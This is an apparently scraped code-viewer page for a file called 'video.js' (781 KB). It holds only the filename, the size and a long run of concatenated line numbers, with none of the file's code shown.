video.js 781 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776677767786779678067816782678367846785678667876788678967906791679267936794679567966797679867996800680168026803680468056806680768086809681068116812681368146815681668176818681968206821682268236824682568266827682868296830683168326833683468356836683768386839684068416842684368446845684668476848684968506851685268536854685568566857685868596860686168626863686468656866686768686869687068716872687368746875687668776878687968806881688268836884688568866887688868896890689168926893689468956896689768986899690069016902690369046905690669076908690969106911691269136914691569166917691869196920692169226923692469256926692769286929693069316932693369346935693669376938693969406941694269436944694569466947694869496950695169526953695469556956695769586959696069616962696369646965696669676968696969706971697269736974697569766977697869796980698169826983698469856986698769886989699069916992699369946995699669976998699970007001700270037004700570067007700870097010701170127013701470157016701770187019702070217022702370247025702670277028702970307031703270337034703570367037703870397040704170427043704470457046704770487049705070517052705370547055705670577058705970607061706270637064706570667067706870697070707170727073707470757076707770787079708070817082708370847085708670877088708970907091709270937094709570967097709870997100710171027103710471057106710771087109711071117112711371147115711671177118711971207121712271237124712571267127712871297130713171327133713471357136713771387139714071417142714371447145714671477148714971507151715271537154715571567157715871597160716171627163716471657166716771687169717071717172717371747175717671777178717971807181718271837184718571867187718871897190719171927193719471957196719771987199720072017202720372047205720672077208720972107211721272137214721572167217721872197220722172227223722472257226722772287229723072317232723372347235723672377238723972407241724272437244724572467247724872497250725172527253725472557256725772587259726072617262726372647265726672677268726972707271727272737274727572767277727872797280728172827283728472857286728772887289729072917292729372947295729672977298729973007301730273037304730573067307730873097310731173127313731473157316731773187319732073217322732373247325732673277328732973307331733273337334733573367337733873397340734173427343734473457346734773487349735073517352735373547355735673577358735973607361736273637364736573667367736873697370737173727373737473757376737773787379738073817382738373847385738673877388738973907391739273937394739573967397739873997400740174027403740474057406740774087409741074117412741374147415741674177418741974207421742274237424742574267427742874297430743174327433743474357436743774387439744074417442744374447445744674477448744974507451745274537454745574567457745874597460746174627463746474657466746774687469747074717472747374747475747674777478747974807481748274837484748574867487748874897490749174927493749474957496749774987499750075017502750375047505750675077508750975107511751275137514751575167517751875197520752175227523752475257526752775287529753075317532753375347535753675377538753975407541754275437544754575467547754875497550755175527553755475557556755775587559756075617562756375647565756675677568756975707571757275737574757575767577757875797580758175827583758475857586758775887589759075917592759375947595759675977598759976007601760276037604760576067607760876097610761176127613761476157616761776187619762076217622762376247625762676277628762976307631763276337634763576367637763876397640764176427643764476457646764776487649765076517652765376547655765676577658765976607661766276637664766576667667766876697670767176727673767476757676767776787679768076817682768376847685768676877688768976907691769276937694769576967697769876997700770177027703770477057706770777087709771077117712771377147715771677177718771977207721772277237724772577267727772877297730773177327733773477357736773777387739774077417742774377447745774677477748774977507751775277537754775577567757775877597760776177627763776477657766776777687769777077717772777377747775777677777778777977807781778277837784778577867787778877897790779177927793779477957796779777987799780078017802780378047805780678077808780978107811781278137814781578167817781878197820782178227823782478257826782778287829783078317832783378347835783678377838783978407841784278437844784578467847784878497850785178527853785478557856785778587859786078617862786378647865786678677868786978707871787278737874787578767877787878797880788178827883788478857886788778887889789078917892789378947895789678977898789979007901790279037904790579067907790879097910791179127913791479157916791779187919792079217922792379247925792679277928792979307931793279337934793579367937793879397940794179427943794479457946794779487949795079517952795379547955795679577958795979607961796279637964796579667967796879697970797179727973797479757976797779787979798079817982798379847985798679877988798979907991799279937994799579967997799879998000800180028003800480058006800780088009801080118012801380148015801680178018801980208021802280238024802580268027802880298030803180328033803480358036803780388039804080418042804380448045804680478048804980508051805280538054805580568057805880598060806180628063806480658066806780688069807080718072807380748075807680778078807980808081808280838084808580868087808880898090809180928093809480958096809780988099810081018102810381048105810681078108810981108111811281138114811581168117811881198120812181228123812481258126812781288129813081318132813381348135813681378138813981408141814281438144814581468147814881498150815181528153815481558156815781588159816081618162816381648165816681678168816981708171817281738174817581768177817881798180818181828183818481858186818781888189819081918192819381948195819681978198819982008201820282038204820582068207820882098210821182128213821482158216821782188219822082218222822382248225822682278228822982308231823282338234823582368237823882398240824182428243824482458246824782488249825082518252825382548255825682578258825982608261826282638264826582668267826882698270827182728273827482758276827782788279828082818282828382848285828682878288828982908291829282938294829582968297829882998300830183028303830483058306830783088309831083118312831383148315831683178318831983208321832283238324832583268327832883298330833183328333833483358336833783388339834083418342834383448345834683478348834983508351835283538354835583568357835883598360836183628363836483658366836783688369837083718372837383748375837683778378837983808381838283838384838583868387838883898390839183928393839483958396839783988399840084018402840384048405840684078408840984108411841284138414841584168417841884198420842184228423842484258426842784288429843084318432843384348435843684378438843984408441844284438444844584468447844884498450845184528453845484558456845784588459846084618462846384648465846684678468846984708471847284738474847584768477847884798480848184828483848484858486848784888489849084918492849384948495849684978498849985008501850285038504850585068507850885098510851185128513851485158516851785188519852085218522852385248525852685278528852985308531853285338534853585368537853885398540854185428543854485458546854785488549855085518552855385548555855685578558855985608561856285638564856585668567856885698570857185728573857485758576857785788579858085818582858385848585858685878588858985908591859285938594859585968597859885998600860186028603860486058606860786088609861086118612861386148615861686178618861986208621862286238624862586268627862886298630863186328633863486358636863786388639864086418642864386448645864686478648864986508651865286538654865586568657865886598660866186628663866486658666866786688669867086718672867386748675867686778678867986808681868286838684868586868687868886898690869186928693869486958696869786988699870087018702870387048705870687078708870987108711871287138714871587168717871887198720872187228723872487258726872787288729873087318732873387348735873687378738873987408741874287438744874587468747874887498750875187528753875487558756875787588759876087618762876387648765876687678768876987708771877287738774877587768777877887798780878187828783878487858786878787888789879087918792879387948795879687978798879988008801880288038804880588068807880888098810881188128813881488158816881788188819882088218822882388248825882688278828882988308831883288338834883588368837883888398840884188428843884488458846884788488849885088518852885388548855885688578858885988608861886288638864886588668867886888698870887188728873887488758876887788788879888088818882888388848885888688878888888988908891889288938894889588968897889888998900890189028903890489058906890789088909891089118912891389148915891689178918891989208921892289238924892589268927892889298930893189328933893489358936893789388939894089418942894389448945894689478948894989508951895289538954895589568957895889598960896189628963896489658966896789688969897089718972897389748975897689778978897989808981898289838984898589868987898889898990899189928993899489958996899789988999900090019002900390049005900690079008900990109011901290139014901590169017901890199020902190229023902490259026902790289029903090319032903390349035903690379038903990409041904290439044904590469047904890499050905190529053905490559056905790589059906090619062906390649065906690679068906990709071907290739074907590769077907890799080908190829083908490859086908790889089909090919092909390949095909690979098909991009101910291039104910591069107910891099110911191129113911491159116911791189119912091219122912391249125912691279128912991309131913291339134913591369137913891399140914191429143914491459146914791489149915091519152915391549155915691579158915991609161916291639164916591669167916891699170917191729173917491759176917791789179918091819182918391849185918691879188918991909191919291939194919591969197919891999200920192029203920492059206920792089209921092119212921392149215921692179218921992209221922292239224922592269227922892299230923192329233923492359236923792389239924092419242924392449245924692479248924992509251925292539254925592569257925892599260926192629263926492659266926792689269927092719272927392749275927692779278927992809281928292839284928592869287928892899290929192929293929492959296929792989299930093019302930393049305930693079308930993109311931293139314931593169317931893199320932193229323932493259326932793289329933093319332933393349335933693379338933993409341934293439344934593469347934893499350935193529353935493559356935793589359936093619362936393649365936693679368936993709371937293739374937593769377937893799380938193829383938493859386938793889389939093919392939393949395939693979398939994009401940294039404940594069407940894099410941194129413941494159416941794189419942094219422942394249425942694279428942994309431943294339434943594369437943894399440944194429443944494459446944794489449945094519452945394549455945694579458945994609461946294639464946594669467946894699470947194729473947494759476947794789479948094819482948394849485948694879488948994909491949294939494949594969497949894999500950195029503950495059506950795089509951095119512951395149515951695179518951995209521952295239524952595269527952895299530953195329533953495359536953795389539954095419542954395449545954695479548954995509551955295539554955595569557955895599560956195629563956495659566956795689569957095719572957395749575957695779578957995809581958295839584958595869587958895899590959195929593959495959596959795989599960096019602960396049605960696079608960996109611961296139614961596169617961896199620962196229623962496259626962796289629963096319632963396349635963696379638963996409641964296439644964596469647964896499650965196529653965496559656965796589659966096619662966396649665966696679668966996709671967296739674967596769677967896799680968196829683968496859686968796889689969096919692969396949695969696979698969997009701970297039704970597069707970897099710971197129713971497159716971797189719972097219722972397249725972697279728972997309731973297339734973597369737973897399740974197429743974497459746974797489749975097519752975397549755975697579758975997609761976297639764976597669767976897699770977197729773977497759776977797789779978097819782978397849785978697879788978997909791979297939794979597969797979897999800980198029803980498059806980798089809981098119812981398149815981698179818981998209821982298239824982598269827982898299830983198329833983498359836983798389839984098419842984398449845984698479848984998509851985298539854985598569857985898599860986198629863986498659866986798689869987098719872987398749875987698779878987998809881988298839884988598869887988898899890989198929893989498959896989798989899990099019902990399049905990699079908990999109911991299139914991599169917991899199920992199229923992499259926992799289929993099319932993399349935993699379938993999409941994299439944994599469947994899499950995199529953995499559956995799589959996099619962996399649965996699679968996999709971997299739974997599769977997899799980998199829983998499859986998799889989999099919992999399949995999699979998999910000100011000210003100041000510006100071000810009100101001110012100131001410015100161001710018100191002010021100221002310024100251002610027100281002910030100311003210033100341003510036100371003810039100401004110042100431004410045100461004710048100491005010051100521005310054100551005610057100581005910060100611006210063100641006510066100671006810069100701007110072100731007410075100761007710078100791008010081100821008310084100851008610087100881008910090100911009210093100941009510096100971009810099101001010110102101031010410105101061010710108101091011010111101121011310114101151011610117101181011910120101211012210123101241012510126101271012810129101301013110132101331013410135101361013710138101391014010141101421014310144101451014610147101481014910150101511015210153101541015510156101571015810159101601016110162101631016410165101661016710168101691017010171101721017310174101751017610177101781017910180101811018210183101841018510186101871018810189101901019110192101931019410195101961019710198101991020010201102021020310204102051020610207102081020910210102111021210213102141021510216102171021810219102201022110222102231022410225102261022710228102291023010231102321023310234102351023610237102381023910240102411024210243102441024510246102471024810249102501025110252102531025410255102561025710258102591026010261102621026310264102651026610267102681026910270102711027210273102741027510276102771027810279102801028110282102831028410285102861028710288102891029010291102921029310294102951029610297102981029910300103011030210303103041030510306103071030810309103101031110312103131031410315103161031710318103191032010321103221032310324103251032610327103281032910330103311033210333103341033510336103371033810339103401034110342103431034410345103461034710348103491035010351103521035310354103551035610357103581035910360103611036210363103641036510366103671036810369103701037110372103731037410375103761037710378103791038010381103821038310384103851038610387103881038910390103911039210393103941039510396103971039810399104001040110402104031040410405104061040710408104091041010411104121041310414104151041610417104181041910420104211042210423104241042510426104271042810429104301043110432104331043410435104361043710438104391044010441104421044310444104451044610447104481044910450104511045210453104541045510456104571045810459104601046110462104631046410465104661046710468104691047010471104721047310474104751047610477104781047910480104811048210483104841048510486104871048810489104901049110492104931049410495104961049710498104991050010501105021050310504105051050610507105081050910510105111051210513105141051510516105171051810519105201052110522105231052410525105261052710528105291053010531105321053310534105351053610537105381053910540105411054210543105441054510546105471054810549105501055110552105531055410555105561055710558105591056010561105621056310564105651056610567105681056910570105711057210573105741057510576105771057810579105801058110582105831058410585105861058710588105891059010591105921059310594105951059610597105981059910600106011060210603106041060510606106071060810609106101061110612106131061410615106161061710618106191062010621106221062310624106251062610627106281062910630106311063210633106341063510636106371063810639106401064110642106431064410645106461064710648106491065010651106521065310654106551065610657106581065910660106611066210663106641066510666106671066810669106701067110672106731067410675106761067710678106791068010681106821068310684106851068610687106881068910690106911069210693106941069510696106971069810699107001070110702107031070410705107061070710708107091071010711107121071310714107151071610717107181071910720107211072210723107241072510726107271072810729107301073110732107331073410735107361073710738107391074010741107421074310744107451074610747107481074910750107511075210753107541075510756107571075810759107601076110762107631076410765107661076710768107691077010771107721077310774107751077610777107781077910780107811078210783107841078510786107871078810789107901079110792107931079410795107961079710798107991080010801108021080310804108051080610807108081080910810108111081210813108141081510816108171081810819108201082110822108231082410825108261082710828108291083010831108321083310834108351083610837108381083910840108411084210843108441084510846108471084810849108501085110852108531085410855108561085710858108591086010861108621086310864108651086610867108681086910870108711087210873108741087510876108771087810879108801088110882108831088410885108861088710888108891089010891108921089310894108951089610897108981089910900109011090210903109041090510906109071090810909109101091110912109131091410915109161091710918109191092010921109221092310924109251092610927109281092910930109311093210933109341093510936109371093810939109401094110942109431094410945109461094710948109491095010951109521095310954109551095610957109581095910960109611096210963109641096510966109671096810969109701097110972109731097410975109761097710978109791098010981109821098310984109851098610987109881098910990109911099210993109941099510996109971099810999110001100111002110031100411005110061100711008110091101011011110121101311014110151101611017110181101911020110211102211023110241102511026110271102811029110301103111032110331103411035110361103711038110391104011041110421104311044110451104611047110481104911050110511105211053110541105511056110571105811059110601106111062110631106411065110661106711068110691107011071110721107311074110751107611077110781107911080110811108211083110841108511086110871108811089110901109111092110931109411095110961109711098110991110011101111021110311104111051110611107111081110911110111111111211113111141111511116111171111811119111201112111122111231112411125111261112711128111291113011131111321113311134111351113611137111381113911140111411114211143111441114511146111471114811149111501115111152111531115411155111561115711158111591116011161111621116311164111651116611167111681116911170111711117211173111741117511176111771117811179111801118111182111831118411185111861118711188111891119011191111921119311194111951119611197111981119911200112011120211203112041120511206112071120811209112101121111212112131121411215112